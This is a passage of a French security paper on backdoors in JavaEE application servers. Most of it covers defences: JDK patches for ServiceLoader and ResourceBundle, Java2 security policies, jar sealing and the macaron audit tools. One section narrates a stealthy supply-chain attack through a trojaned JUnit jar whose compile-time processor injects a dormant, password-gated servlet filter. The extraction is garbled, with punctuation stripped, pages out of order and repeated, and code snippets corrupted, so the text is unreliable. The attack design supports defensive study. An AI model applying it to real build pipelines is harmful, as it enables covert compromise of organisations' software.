Lrsquoimplementation actuelle ne verifie aucun privilege pour lrsquoinstallation drsquoun nou-veau service Nous proposons drsquoajouter la classe javautilServicePermission et drsquoa-jouter la verification du privilege associe lors de lrsquoinstallation drsquoun nouveau servicedans la classe ServiceLoader
if (SystemgetSecurityManager ()=null)
final Permission perm=
new ServicePermission(servicegetName ())
AccessControllerdoPrivileged(
new PrivilegedAction ltObject gt()
public Object run()
if (clazzgetProtectionDomain ()implies(perm))
throw new AccessControlException(
install service denied perm perm)
return null
)
Lrsquoajout de ce test permet de srsquoassurer que lrsquoarchive proposant drsquoajouter un nouveauservice en a le privilege Seul le CodeBase implementant le service doit posseder leprivilege Lrsquoappelant du service nrsquoen a pas besoin
Un patch en ce sens est propose a la communaute Ce dernier modifie egalement lesclasses des packages javaxxml et orgw3c pour qursquoelles utilisent ServiceLoader
De nombreuses autres classes du JDK utilisent le mecanisme de services sansutiliser la classe ServiceLoader Elles sont toujours vulnerables Il srsquoagit des classesdes packages suivants
ndash comsunndash orgrelaxingdatatype
ndash sunmisc
P Prados 439
Il faut egalement proceder de meme pour les classes de JavaEE Un diffstat surles modifications indique lrsquoetendue de la mise a jour et les classes impactees
j2sesrc javautilServiceLoaderjava | 42 +-
j2sesrc javautilServicePermissionjava | 74 ++++
j2sesrc javaxxmlbindContextFinderjava | 66 ---
j2sesrc javaxxmldatatypeFactoryFinderjava | 85 ----
j2sesrc javaxxmlparsersDocumentBuilderFactoryjava | 12
j2sesrc javaxxmlparsersFactoryFinderjava | 94 -----
j2sesrc javaxxmlparsersSAXParserFactoryjava | 17
j2sesrc javaxxmlsoapFactoryFinderjava | 39 --
j2sesrc javaxxmlstreamFactoryFinderjava | 84 ----
j2sesrc javaxxmltransformFactoryFinderjava | 86 ----
j2sesrc javaxxmlvalidationSchemaFactoryFinderjava | 36 +
j2sesrc javaxxmlwsspiFactoryFinderjava | 56 +--
j2sesrc javaxxmlxpathXPathFactoryFinderjava | 182 +---------
j2sesrc orgw3cdombootstrapDOMImplementationRegistryjava | 45 --
15 files changed 283 insertions (+) 646 deletions(-)
Ainsi pour pouvoir installer un nouveau service il faut avoir declare le privilegecorrespondant dans le projet
grant
permission javautilServicePermission
javaxxmlparsersSAXParserFactory
En attendant lrsquointegration de la modification dans le JDK il faut ajouter unparametre au chargement de la machine virtuelle
$ java -Xbootclasspathppatch -ServiceLocator -6jar
Une approche similaire est envisageable pour le JDK5 mais nrsquoa pas ete implementeecar la classe ServiceLoader nrsquoest pas presente
Si vous ne souhaitez pas utiliser le patch indiquez en variable systeme tous lesanalyseurs utilises
-DjavaxxmlparsersSAXParserFactory =
comsunorgapachexercesinternaljaxpSAXParserFactoryImpl
-DjavaxxmlparsersDocumentBuilderFactory =
comsunorgapachexercesinternaljaxpDocumentBuilderFactoryImpl
De plus pour eviter toute ambiguıte Tomcat 6x devrait etre modifie pour utiliserle parseur XML du serveur drsquoapplication lors de lrsquoanalyse des fichiers TLDs a laplace du parseur livre par le composant WEB Cela a ete signale (CVE-2009-0911)par nos soins et sera pris en compte dans une prochaine version de Tomcat
440 Porte derobee dans les serveurs drsquoapplications JavaEE
56 Reduction du risque des ResourcesBundles
Pour reduire le risque drsquoexecution invisible de code lors de lrsquoutilisation desressources il faut modifier lrsquoalgorithme de resolution des ResourcesBundles
Fig 15 Nouveau RessourceBundle
La nouvelle version de lrsquoalgorithme recherche en priorite les fichiers propertiesavant de rechercher les classes Si un seul fichier properties existe les classes ne sontpas recherchees Cette legere modification de la semantique doit etre pratiquementinvisible Malgre nos recherches nous nrsquoavons jamais rencontre de situation ou unfichier properties doit legitimement etre surcharge par une classe
Il est possible drsquoavoir un apercu des impacts en consultant le resultat de cette page httpwwwgooglecomcodesearchq=extends+PropertyResourceBundle+lang
3Ajava
Nous proposons un correctif de la classe ResourceBundle pour le JDK5 Lrsquoarchivepatch-ResourceBundle-5jar propose une modification de la classe standard deJava Pour lrsquoutiliser il faut ajouter un parametre au chargement de la machinevirtuelle
$ java -Xbootclasspathppatch -ResourceBundle -5 jar
Le JDK6 offre de nouvelles fonctionnalites pour lrsquoutilisation des RessourcesBundlesvia une refonte totale de cette classe En outre il est possible de specifier un objet encharge de gerer le chargement des ressources Nous proposons le singleton suivantpermettant drsquoordonner le chargement des ressources
static final ResourceBundleControl securityControl =
new ResourceBundleControl ()
private ConcurrentHashMap ltString String gt
cacheType=
new ConcurrentHashMap ltString String gt()
public List ltString gt getFormats(String baseName)
return CollectionsunmodifiableList(
P Prados 441
ArraysasList(securityorder))
public ResourceBundle newBundle(String baseName
Locale locale
String format ClassLoader loader
boolean reload)
throws IllegalAccessException
InstantiationException IOException
ResourceBundle bundle=null
if (formatequals(securityorder))
String lastFormat=cacheTypeget(baseName)
if (lastFormat ==null)
bundle=supernewBundle(baseName locale
javaproperties
loader reload)
if (bundle =null)
cacheTypeput(baseName javaproperties)
else
cacheTypeput(baseName javaclass)
bundle=supernewBundle(baseName locale
javaclass
loader reload)
else
bundle=supernewBundle(baseName locale
lastFormat
loader reload)
return bundle
public boolean needsReload(String baseName
Locale locale
String format
ClassLoader loader
ResourceBundle bundle
long loadTime)
boolean result=
superneedsReload(baseName locale
format loader bundle loadTime)
if (result)
cacheTyperemove(baseName)
return result
Il doit etre utilise a chaque invocation de RessourceBundle
442 Porte derobee dans les serveurs drsquoapplications JavaEE
ResourceBundlegetBundle(Messages securityControl)getString(key)
Comme cette approche nrsquoest pas utilisee systematiquement par les projets ilest preferable drsquoenvisager un patch du JDK6 Lrsquoarchive patch-ResourceBundle-6jarpropose une modification de la classe standard de Java Les modifications sontminimes
Un diffstat indique lrsquoetendu des modifications
ResourceBundlejava | 108 +++++++++++++++++++++++++++-------------------------
1 file changed 58 insertions (+) 50 deletions(-)
Lrsquoalgorithme recherche une ressource format par format et non tous les formatsa la fois Lrsquoordre par defaut des formats est egalement modifie pour privilegier leformat javaproperties avant le format javaclass Pour utiliser le patch il faut ajouterun parametre au chargement de la machine virtuelle
$ java -Xbootclasspathppatch -ResourceBundle -6 jar
Si un utilisateur souhaite melanger des ressources au format properties et desressources au format class il doit nrsquoutiliser que le format class et simuler alors leformat properties
mv sampleproperties sampleprop
public static class sample extends PropertyResourceBundle
public sample () throws IOException
super(sampleclassgetResourceAsStream(
rsquorsquo+sampleclassgetName ()
replace(rsquorsquorsquorsquo)+prop))
6 Conseils pour se proteger
Voici quelques regles de bonnes pratiques pour se proteger autant que possibledes portes derobees generiques
Le premier conseil est drsquoexecuter le serveur drsquoapplications avec la securite Java2activee Il faut ouvrir les privileges pour chaque archive une a une et non globalementpour le composant Ainsi un droit offert a un framework nrsquoest pas disponible pour laporte derobee presente dans une autre archive
P Prados 443
Malheureusement les frameworks indiquent rarement les privileges necessairesSeul un test permet drsquoouvrir au fur et a mesure lrsquoensemble des droits necessaireset uniquement ceux-ci Crsquoest un processus long et complexe car les erreurs lors delrsquoabsence drsquoun privilege ne sont pas toujours explicites Il faut effectuer un test completde lrsquoapplication pour verifier qursquoaucun privilege nrsquoait ete oublie En demandant latrace de tous les privileges refuses il est envisageable de les synthetiser plus facilement
$ export JAVA_OPTS=-Djavasecuritydebug=access failure
$ $CATALINA_HOMEbincatalinash run -security 2gtamp1 | grep ^ access
Les logs indiquent les privileges accordes mais sont difficiles a interpreter
access access allowed (javalangRuntimePermission accessDeclaredMembers)
access access allowed(javaioFilePermissionwebappsbackdoorjee -sample
WEB -INFclassesorgspringframeworkwebservletmvcannotationAnnotation
MethodHandlerAdapterBeanInfoclass read)access access denied (javalang
RuntimePermission defineClassInPackagejavalang)
Pour faciliter cette etape nous proposons une base de donnees des privilegesnecessaires aux composants16 Nous comptons sur les lecteurs pour lrsquoenrichir
Le deuxieme conseil important Ne faites pas confiance aux referentiels Uneattaque sur le referentiel Mavenx par exemple et tous vos projets possedent des portesderobees generiques
Pour srsquoassurer de la bonne sante des composants a deployer effectuez un audit deces derniers et cherchez des explications convaincantes pour toutes les alertes avantde les declarer comme des laquo faux positifs raquo
Enfin testez lrsquoutilisation de la porte derobee de demonstration dans votre projet Ilsuffit drsquoajouter une archive Il nrsquoest pas necessaire de modifier le code de lrsquoapplicationSi les traces du serveur drsquoapplications signalent la reussite de lrsquoinjection modifiezvotre configuration
La securite Java2 nrsquoest pas toujours suffisante Un detournement de la puissancedes frameworks modernes permet egalement de prendre la main sur lrsquoapplicationsans necessiter de privileges Assurez-vous de maitriser tous les risques inherents alrsquoutilisation de ces derniers (Spring AOP etc)
Drsquoautre part pour proteger un attribut contre toute modification meme sans lasecurite Java2 il faut le declarer final Cela devrait etre utilise pour les Singletons etpour tous les attributs sensibles Evitez autant que possible les Singletons drsquoautantplus si la securite Java2 nrsquoest pas active
Nrsquoutilisez jamais de ResourceBundle dans un code privilegie ( AccessControllerdoPrivileged() )Pour se proteger de lrsquoinjection drsquoun analyseur XML il faut demarrer la JVM en
ajoutant des parametres permettant drsquoeviter la selection dynamique de lrsquoimplementation
16 httpmacaron-policygooglecodecom
444 Porte derobee dans les serveurs drsquoapplications JavaEE
-DjavaxxmlparsersSAXParserFactory =
comsunorgapachexercesinternaljaxpSAXParserFactoryImpl
-DjavaxxmlparsersDocumentBuilderFactory =
comsunorgapachexercesinternaljaxpDocumentBuilderFactoryImpl
Il est preferable drsquoutiliser les patchs proposes
Vous nrsquoetes pas oblige de faire confiance aux prestataires de services ou aux SSIIVous devez imposer lrsquoutilisation de la securite Java2 des les phases de developpementSinon la tache de qualification des privileges sera trop importante et le prestatairearrivera a vous convaincre de supprimer la securite
Utilisez egalement les mecanismes proposes par le systeme drsquoexploitation pourreduire les risques Par exemple lrsquoutilisateur en charge du lancement du serveurdrsquoapplication ne doit pas avoir de droit en ecriture sur les repertoires de ce derniersauf pour les repertoires de travail
7 Scenario du pire
Au vue de toutes ces attaques nous pouvons imaginer un scenario credible quiest a notre avis le plus discret possible
Imaginons Jerome K un developpeur inconvenant drsquoune SSII participant a unprojet Web pour le compte drsquoune banque Soucieux de la securite cette derniere a misen place de nombreux filtres pour la renforcer Le code source est audite a la main les hashs SHA des archives sont verifiees au sein des WAR le developpement nrsquoapas acces a la production le code est recompile dans un environnement inaccessiblea lrsquoequipe de developpement en utilisant un repository Maven interne de referenceLe code est scelle et nrsquoutilise pas les annotations pour declarer les Servlets ou lesfiltres car le fichier webxml doit avoir le parametre metadata-complete Les classesannotees de ServletFilter Servlet ou autres ne doivent pas etre presentes et sontidentifiees par les outils drsquoaudits Le code srsquoexecute avec la securite java active Unmecanisme de teinture des variables est utilise dans la JVM pour eviter les injectionsSQL LDAP XSS CSRF etc Un pare-feu applicatif possede une liste blanche desrequetes possibles de lrsquoapplication avec une liste precise de tous les champs avecleurs types et leurs contraintes Bien entendu un pare-feu reseau nrsquoautorise que lescommunications HTTP et HTTPS via un reverse-proxy
Pour introduire la porte derobe Jerome K le pirate decide drsquointervenir surlrsquoarchive Junitjar En effet cette derniere presente deux avantages Elle est mondiale-ment connue et donc de confiance et elle ne sert que pour les tests unitaires doncelle ne presente pas de risque en production
P Prados 445
La version modifiee de cette archive doit remplacer la version du referentiel delrsquoentreprise Pour obtenir cela Jerome K demande de lrsquoaide a Adrian L lrsquoadministra-teur ayant le droit de modifier le referentiel Il lui demande de compiler un code javaen utilisant une archive piegee avec un processeur JSR269 Lors de la compilation surle poste de lrsquoadministrateur le fichier Junitjar du repository Maven et sa signatureSHA sont modifies en toute discretion La date du fichier indique une periode ouJerome K nrsquoetait pas present Il nrsquoest meme pas necessaire drsquoexecuter le programmeSeul le resultat de la compilation est sujet a discussion entre Jerome K et Adrian Lpour demander des eclaircissements sur un message drsquoerreur
Jerome K ajoute a lrsquoarchive JUnit un processeur compatible JSR269 afin depouvoir intervenir lors drsquoune compilation Ce processeur ajoute du code lors de lacompilation mais uniquement si celle-ci est effectuee sur la machine srsquooccupantdu build final (detection par sous-reseau) Ainsi rien nrsquoest visible dans toutes lesgenerations produites en phase de debug ou de qualification Le processeur nrsquoestpas utilisable lors drsquoune compilation avec Eclipse Lors de la compilation finale duprogramme par Ant ou Maven le processeur ajoute un ResourceBundle un BeanInfoou plus discretement injecte du code directement dans un fichier classe produit parle compilateur Il ajoute egalement dans un repertoire charge en classes les classescomplementaires pour les agents de la porte derobee Le processus de build invoquesans le savoir le processeur present dans Junit et modifie les classes produites sansmodifier les sources
Aucune librairie utilisee par lrsquoapplication nrsquoest modifiee Un audit du source nedonne rien ni la verification des hashs SHA des composants Aucune annotationsensible nrsquoest presente macaron-audit sur le fichier WAR ne signale rien non pluscar lrsquoattaque est specifique a un projet
En production le code injecte recupere le ServletContext soit directement lors delrsquoexecution du code injecte soit via une variable de thread comme le propose SpringPuis il ajoute dynamiquement un filtre JavaEE via les API Servlet 30 Ainsi lefichier webxml nrsquoa pas ete modifie et il nrsquoexiste pas drsquoannotations sensibles
Le filtre reste inactif pendant un mois afin de ne rien reveler Puis il se met aaccepter un mot de passe a usage unique changeant toutes les heures Sur la presencede ce mot de passe dans une requete POST la porte est ouverte Comme la portederobee utilise des requetes standards avec des champs connus le pare-feu applicatifne voit rien drsquoanormal Le trafic reseau etant standard et raisonnable en volume rienne clignote dans le pare-feu reseau
Pour communiquer avec la porte derobee Jerome K utilise une connexion anonymecomme TOR ou un proxy ouvert Pour eviter une reconstitution du trafic reseau lacommunication avec la porte derobee srsquoeffectue avec un algorithme de chiffrement
446 Porte derobee dans les serveurs drsquoapplications JavaEE
dont la clef change regulierement Comme le code de la porte derobee nrsquoindique pasles objectifs de lrsquoattaque il sera plus difficile de connaıtre les motivations de JeromeK en cas de decouverte
Par hasard lrsquoadministrateur Serge H decouvre un nombre anormal de requetesvers certaines pages pour la meme session Est-ce un code AJAX du projet Est-ceautre-chose Ayant eu la chance drsquoavoir enregistre toutes les requetes POST ildecouvre une utilisation etrange drsquoun des champs Les requetes sont toutes semblablessauf pour un seul champ Lrsquoouverture semble avoir commencee avec un mot specialdans ce dernier Il essaye lui-meme cette valeur mais cela ne donne rien Il ne sert arien de la detecter dans le pare-feu car la clef change toutes les heures
Il essaye de reconstituer la communication qui semble etre codee en b64 ou hexamais cela ne donne rien Elle est cryptee Il aurait fallu avoir une trace de toutes lesreponses pour comprendre les actions de Jerome K Il ne sert a rien de renforcer lesverifications des champs sur la page utilisee car le pirate peut exploiter toutes lespages du serveur ce que confirment drsquoautres traces a un autre moment
Comme il le presageait les adresses IP sources ne donnent rien Elles changent etviennent de tous les coins du monde
Kevin M un expert en securite est mandate avec pour objectif de bloquerrapidement la porte de decouvrir comment elle a ete injectee et par qui
Le code est a nouveau audite pour essaye de decouvrir drsquoou vient le probleme Lessources et les archives ne revelent rien Il faut decompiler tout le code pour decouvrirla porte derobee Mais drsquoou vient-elle Ce nrsquoest pas dans les sources ni dans lescomposants Kevin M recupere le tout et recompile sur un poste isole La porte nrsquoestpas presente dans le WAR final Etrange Finalement il refait un build depuis laplate-forme de qualification et decouvre que la porte derobee est automatiquementinjectee Il recherche une faille sur cette plate-forme sans resultat Il redeploie laplate-forme avec les fichiers sources originaux meme resultat la porte est present Ilutilise un autre serveur vierge du meme sous-reseau recupere les sources et recompileLa porte est toujours presente
De guerre lasse il utilise a nouveau macaron-audit mais cette fois sur toute laplate-forme et non uniquement sur le WAR produit Il decouvre alors un serviceetrange dans Junit archive negligee lors de la verification des hashs car elle nrsquoest paspresente en production Remontant alors la piste il decouvre que la version de Junitdans le repository a ete deposee par Adrian L lrsquoadministrateur il y a plusieurs moisCe dernier homme de confiance soupconne qursquoil ait ete victime drsquoun virus ou drsquouncheval de Troie mais ignore comment cela a pu se produire Un audit de son postene revele rien drsquoanormal
P Prados 447
Pour corriger le probleme Kevin M decide de restituer lrsquoarchive originale deJunit et de renforcer la securite du referentiel Maven de lrsquoentreprise Une signaturenumerique est ajoutee a chaque archive La procedure de qualification est renforceeUn macaron-audit sera dorenavant entrepris sur tout le projet Les compilations serontdorenavant toujours effectuees avec le parametre -proc none Kevin M est incapabledrsquoidentifier le pirate Il sait simplement qursquoil a du etre present dans lrsquoentreprise etdoit certainement connaıtre le projet
Ce scenario fonctionne avec les Servlet 30 et un JDK6+ Crsquoest a dire que plus lestechnologies progressent plus il est facile drsquoinjecter une porte derobee
8 Conclusion
Nous avons demontre qursquoil est possible en utilisant differentes techniques de piegesdrsquoinjections de code ou drsquoexploitations de privileges drsquoajouter une porte derobeeinvisible dans un projet JavaEE Nous avons identifie les strategies drsquoattaques etpropose des solutions pour reduire les risques Trois utilitaires permettent drsquoeffectuerun audit du code de le renforcer et drsquoextraire les rares privileges a accorder
httpmacarongooglecodecom
Dans lrsquoideal il faut faire evoluer la culture Java pour que les projets utilisent lescellement de tous leurs packages et travaillent systematiquement avec la securiteJava2 lors des phases de developpement
A ce jour le seul moyen drsquointerdire toutes les attaques identifiees est ndash drsquoutiliser la securite Java2ndash de sceller toutes les archives ndash drsquoutiliser les patchs pour ResourceBundle et ServiceLoader ndash de compiler avec le parametre -procnone
ndash et de ne pas utiliser lrsquoAOPLa signature des archives et lrsquoaudit humain est egalement un moyen de proteger
les referentiels Java offre des solutions de signature mais elles sont peu utiliseesPour une plus grande securite il faut les exploiter
P Prados 431
Pour identifier les problemes de securite ajoutez -Djavasecuritydebug=access-failure dans la ligne de commande de la JVM cela trace toutes les invocations Levolume de logs etant important il est preferable drsquoinjecter le resultat dans un fichier
$ export JAVA_OPTS=-Djavasecuritydebug=access failure
$ $CATALINA_HOMEbincatalinash run
-security gtaccesslog 2gtamp1
La trace produite par la JVM lors de la presence du parametre javasecuritydebugnrsquoest pas tres lisible Elle est tres volumineuse et melange les privileges accordes desprivileges refuses
Il est possible de ne tracer qursquoun type de privilege limitant ainsi le volume destraces
-Djavasecuritydebug=access failure permission=javalangRuntimePermission
Ou bien de ne tracer que les privileges necessaires a un composant particulier
-Djavasecuritydebug =
access failure codebase =
file$TOMCAT_HOMEwebappssample
Un parametre de lrsquooutil macaron-policy permet une analyse des traces produiteslors de lrsquoutilisation de la variable javasecuritydebug
macaron -policy --accesslog accesslog
Cela permet drsquoinjecter les dernieres erreurs detectees lors de lrsquoabsence drsquounprivilege
$ macaron -policy
--accesslog accesslog
--policy $CATALINA_HOMEconfcatalinapolicy
$CATALINA_HOMEwebappsMonComposantwar
Comme les erreurs presentes dans les logs utilisent des codeBase sans variable leresultat produit nrsquoest pas exactement celui attendu dans le fichier catalinapolicyPour corriger cela lrsquooutil est capable de faire une analyse inverse de variable Crsquoest adire qursquoil detecte dans le codeBase srsquoil nrsquoexiste pas une valeur correspondant a unevariable Si crsquoest le cas il la remplace par le nom de la variable Pour cela il fautdeclarer des variables inverses a lrsquoaide du parametre -I
$ macaron -policy
--accesslog accesslog
-Icatalinabase=$CATALINA_HOME
--policy $CATALINA_HOMEconfcatalinapolicy
MonComposantwar
432 Porte derobee dans les serveurs drsquoapplications JavaEE
Ainsi le fichier catalinapolicy est automatiquement mis a jour avec les derniersprivileges refuses a lrsquoapplication lors de la derniere execution
Pour identifier tous les privileges il faut alors proceder par iteration Cela estfastidieux mais grandement facilite par lrsquooutil macaron-policy
Tant qursquoil y a encore des privileges a ajouterndash Lancer le serveur drsquoapplication avec les logs drsquoacces actifs ndash Verifier lrsquoapplication jusqursquoa trouver un refus de privilege ndash Arreter le serveur drsquoapplications ndash Injecter les privileges manquant dans le fichier policy ndash RecommencerCela donne dans le cas de Tomcat le scenario suivant
$ export
JAVA_OPTS=-Djavasecuritydebug=access failure
$ while [ true ] do
echo -n ltCtrl -Cgt or ltCRgt to analyse and launch tomcat read
macaron -policy
-P tomcatproperties
--policy $CATALINA_HOMEconfcatalinapolicy
--accesslog accesslog
-Icatalinabase=$CATALINA_HOME $CATALINA_HOMEwebappsmyappwar
echo launch tomcat
$CATALINA_HOMEbincatalinash run -security gtaccesslog 2gtamp1
done
Il est egalement possible drsquoinitialiser une base de donnees locale Le resultatproduit doit etre repris a la main pour regrouper des privileges inserer des variablesqualifier veritablement les privileges en supprimer certains etc Le resultat ne devraiten aucun cas etre exploite tel quel Pour cela il faut ajouter le parametre --extract
en indiquant le prefixe des codeBase a extraire et indiquer le repertoire de destinationdans le parametre --output Par exemple pour extraire tous les privileges calculeesextraits drsquoune trace ou recuperes dans un fichier policy il faut proceder ainsi
$ macaron -policy
--loglevel info
--extract
--output mypolicydatabase
--policy $CATALINA_HOMEconfcatalinapolicy
Grace a cet outil il est beaucoup plus facile de produire le fichier de synthese desprivileges et drsquoutiliser la securite Java2 Bien entendu le fichier resultat doit etreconsulte avec attention avant sa mise en production Lrsquooutillage propose facilite sageneration Il ne garantit pas une securite optimum
Chaque projet peut utiliser plus ou moins de fonctionnalite drsquoun composant Lesprivileges presents dans les fichiers jarpolicy ou la base de donnees sont necessaires
P Prados 433
a lrsquoensemble des fonctionnalites Il est possible de supprimer des privileges srsquoils nesont pas exploites dans lrsquoapplication
Par mesure de securite le privilege javasecurityAllPermission nrsquoest pasautorise dans les fichiers sauf demande explicite en ligne de commande Utilisez leparametre --help pour avoir plus drsquoinformations
$ macaron -policy --help
52 Signature numerique
Une alternative consiste a signer numeriquement les archives lorsqursquoil est garantieqursquoelles sont saines Un couple de clef privepublic est utilise pour signer les archivesdont lrsquoentreprise a appliquer tous les outils de qualification comme lrsquooutil macaron-auditdecrit ci-dessous La clef privee est utilisee pour signer les archives avant de lespublier dans le repository de lrsquoentreprise Tous les privileges ou seulement certainspeuvent alors etre accordes globalement
grant codebase foocom Signedby foo
Principal comsunsecurityauthSolarisPrincipal duke
permission javasecurityAllPermission
Il est preferable de nrsquoaccorder que les privileges necessaires a chaque composant
53 Defense passive
Lors de lrsquoanalyse drsquoun composant JavaEE differents symptomes peuvent eveillerles soupcons
ndash La presence de packages de meme nom dans des archives differentes ndash La presence de fichiers de meme nom avec des extensions differentes dans les
memes packages ndash La presence de fichiers de meme nom dans des packages differents ndash La presence de fichiers dans META-INFservices ndash La presence de certaines annotationsNous proposons un outil drsquoaudit de composants Vous le trouverez avec drsquoautres
utilitaires ici httpmacarongooglecodecom Ce dernier prend en parametredes composants JavaEE des repertoires etou des archives Il analyse lrsquoensemble pourdetecter les pieges
Un fichier au format XML permet de synthetiser les resultats
$ macaron -audit --output auditxml MonComposantear
$ firefox auditxml
434 Porte derobee dans les serveurs drsquoapplications JavaEE
Le rapport XML est consultable dans un navigateur grace a une feuille de stylespecifique permettant la navigation dans les resultats
Fig 14 Audit
Grace a la feuille de style lrsquoimpression de cette page presente tous les resultatsLrsquoexperience montre qursquoil y a effectivement des classes similaires dans plusieurs
archives differentes du meme projet des noms de fichiers identiques present a differentsendroits etc
ltpackages gt
ltpackage
name=orgaspectjinternallangannotationgt
ltcontext gtaspectjweaver -161 jarltcontext gt
ltcontext gtaspectjrt -160 jarltcontext gt
ltpackage gt
ltpackages gt
Pour eviter les faux positifs un parametre permet drsquoindiquer des regles drsquoexclusionsComme le format du fichier des regles drsquoexclusions est strictement identique au fichierde resultat drsquoune analyse il est possible drsquoeffectuer un premier tir sur une instancede confiance ou limitees aux archives saines du projet et drsquoutiliser le resultat pour lestirs suivant Ainsi seules les nouvelles alertes seront exposees
$ macaron -audit --output ignorexml MonComposantear
$ macaron -audit --ignore ignorexml
-output auditxml
MonComposantear
P Prados 435
Certains fichiers sont presents en nombre dans les archives Ils peuvent etre exclusglobalement
ltfilenames gt
ltfilename name=MANIFESTMF gt
ltfilename name=INDEXLIST gt
ltfilename name=packagehtml gt
ltfilenames gt
Cette approche presente le risque de cacher une attaque eventuelle car les exclusionsne sont pas associees a des archives specifiques
Il est preferable de selectionner judicieusement les archives a utiliser dans leprojet pour eviter les faux-positifs Par exemple avec Maven il est possible drsquoexclurecertaines dependances malheureuses
ltdependency gt
ltgroupId gtorgspringframework ltgroupId gt
ltartifactId gtspring -aspects ltartifactId gt
ltversion gt255ltversion gt
ltexclusions gt
ltexclusion gt
ltgroupId gtorgaspectj ltgroupId gt
ltartifactId gtaspectjrt ltartifactId gt
ltexclusion gt
ltexclusions gt
ltdependency gt
Les dependances declarees entrainent la presence de packages identiques dansdeux archives differentes Lrsquoune est incluse dans lrsquoautre Il est preferable de supprimerdu projet lrsquoarchive aspectjrt que drsquoajouter des exceptions dans le fichier ignorexml
Lrsquooutil drsquoaudit permet de se focaliser sur les differents pieges possibles mais passur les techniques drsquoinjections de code lors de lrsquoanalyse drsquoune requete HTTP Celadoit etre controle par lrsquoutilisation de la securite Java2
54 Defense active
Pour eviter le risque de surcharge de classe ou le contournement des privilegesaccordes aux packages Java propose deux mecanismes14
Le premier permet drsquointerdire la consultation ou lrsquoajout de classes dans certainspackages (les packages java et sun par exemple) Ce mecanisme est mis en placepar la valorisation de deux variables drsquoenvironnement systeme de la JVM (pack-agedefinition et packageaccess) Tomcat utilise cela pour proteger les classes duserveur drsquoapplication vis a vis des classes des composants applicatifs (voir le fichiercatalinaproperties)
14 httpjavasuncomdeveloperJDCTechTips2001tt0130html
436 Porte derobee dans les serveurs drsquoapplications JavaEE
Le deuxieme mecanisme permet drsquointerdire a des classes drsquoun meme package drsquoetrepresentes dans des archives differentes Cela srsquoeffectue par un parametre dans lefichier MANIFESTMF Si ce dernier possede le parametre Sealed true tous lespackages de lrsquoarchive sont proteges Il est egalement possible de sceller les packagesindividuellement15 Ces verifications ne sont effectuees que si la securite Java2 estactivee
En placant les fichiers properties dans les memes repertoires que les classes duprojet (ce qui est fortement conseille) il nrsquoest plus possible drsquoajouter une classe pourdetourner le flux de traitement lors de la consultation drsquoun ResourceBundle
Si les fichiers properties sont dans des repertoires sans aucune classe il ne serta rien de les sceller Le scellement ne concerne que les classes
Pour sceller une archive avec Maven2 il faut ajouter dans le fichier pomxml lesinstructions suivantes
ltbuildgt
ltplugins gt
ltplugin gt
ltartifactId gtmaven -jar -plugin ltartifactId gt
ltconfiguration gt
ltarchive gt
ltmanifestEntries gt
ltSealed gttrueltSealed gt
ltmanifestEntries gt
ltarchive gt
ltconfiguration gt
ltplugin gt
ltplugins gt
ltbuildgt
Comme la tres grande majorite des archives Open Source ne sont pas scellees ilfaut les modifier pour ajouter les protections necessaires Une etude sur pres de millecomposants montre que moins drsquoun pour-mille est scelle etou signe
Nous proposons un utilitaire srsquooccupant drsquoajouter lrsquoattribut Sealed true a tousles composants et toutes les librairies (httpmacarongooglecodecom)
$ macaron -seal --in -place MonComposantear
Cette commande scelle tous les packages de toutes les archives du composantLes fichiers META-INFMF des librairies presentes dans le repertoire WEB-INFlib desfichiers war et les librairies des EJBs sont modifies pour sceller tous les packages
Pour plus drsquoinformations invoquez lrsquoaide
$ macaron -seal --help
15 httpjavasuncomj2se13docsguideextensionsspechtmlsealing
P Prados 437
Il est possible drsquoappliquer recursivement ce scellement a un referentiel MavenIl faut alors adapter en meme temps les hashs SHA1 srsquoils sont presents Ces hashspeuvent etre verifies lors du telechargement drsquoun composant dans le cache local
$ macaron -seal --in -place --sha1 -R m2repository
De meme pour un repository Ivy
$ macaron -seal --in -place -R ivy2cache
Le resultat drsquoun audit precedant peut servir a exclure des packages du processusAinsi il est facile de renforcer une instance du serveur Tomcat par exemple endemandant un audit du code puis en scellant les packages ne presentant pas deproblemes
$ macaron -audit --output audit -tomcatxml
-R $CATALINA_HOME
$ macaron -seal --ignore audit -tomcatxml
-R $CATALINA_HOME --in -place
Ces deux commandes peuvent srsquoeffectuer en une seule fois a lrsquoaide de pipe
$ macaron -audit --output - -R $CATALINA_HOME |
macaron -seal --ignore - -R $CATALINA_HOME --in-place
La version de Tomcat durcie possede des archives scellees sauf pour les quelquespackages partages par differentes archives Lors de lrsquoutilisation de la securite Java2elle est plus resistante aux pieges
$ $CATALINA_HOMEbincatalinash run -security
Cette approche interdit une partie des injections de code de type ResourceBundleLes ResourcesBundles presents dans des repertoires ou il nrsquoy a pas drsquoautres classessont toujours vulnerables
Il est egalement possible drsquoavoir un audit signalant les packages scelles Le resultatest un fichier XML avec une feuille de style XSLT pour une consultation dans unnavigateur
$ macaron -seal --audit sealedxml MonComposantwar
$ firefox sealedxml
438 Porte derobee dans les serveurs drsquoapplications JavaEE
55 Reduction du risque des META-INFservices
La securite Java2 permet drsquoautoriser des classes a effectuer certains traitementsElle permet egalement de determiner les privileges drsquoune classe avant son utilisation
Pour reduire le risque drsquoune utilisation malveillante de services nous proposonsdrsquoapporter quelques modifications a la classe javautilServiceLoader du JDK6 etsuivant
Cette classe normalise lrsquoutilisation des services et propose une API pour recuperertoutes les implementations drsquoune interface
Lrsquoimplementation actuelle ne verifie aucun privilege pour lrsquoinstallation drsquoun nou-veau service Nous proposons drsquoajouter la classe javautilServicePermission et drsquoa-jouter la verification du privilege associe lors de lrsquoinstallation drsquoun nouveau servicedans la classe ServiceLoader
if (SystemgetSecurityManager ()=null)
final Permission perm=
new ServicePermission(servicegetName ())
AccessControllerdoPrivileged(
new PrivilegedAction ltObject gt()
public Object run()
if (clazzgetProtectionDomain ()implies(perm))
throw new AccessControlException(
install service denied perm perm)
return null
)
Lrsquoajout de ce test permet de srsquoassurer que lrsquoarchive proposant drsquoajouter un nouveauservice en a le privilege Seul le CodeBase implementant le service doit posseder leprivilege Lrsquoappelant du service nrsquoen a pas besoin
Un patch en ce sens est propose a la communaute Ce dernier modifie egalement lesclasses des packages javaxxml et orgw3c pour qursquoelles utilisent ServiceLoader
De nombreuses autres classes du JDK utilisent le mecanisme de services sansutiliser la classe ServiceLoader Elles sont toujours vulnerables Il srsquoagit des classesdes packages suivants
ndash comsunndash orgrelaxingdatatype
ndash sunmisc
P Prados 439
Il faut egalement proceder de meme pour les classes de JavaEE Un diffstat surles modifications indique lrsquoetendue de la mise a jour et les classes impactees
j2sesrc javautilServiceLoaderjava | 42 +-
j2sesrc javautilServicePermissionjava | 74 ++++
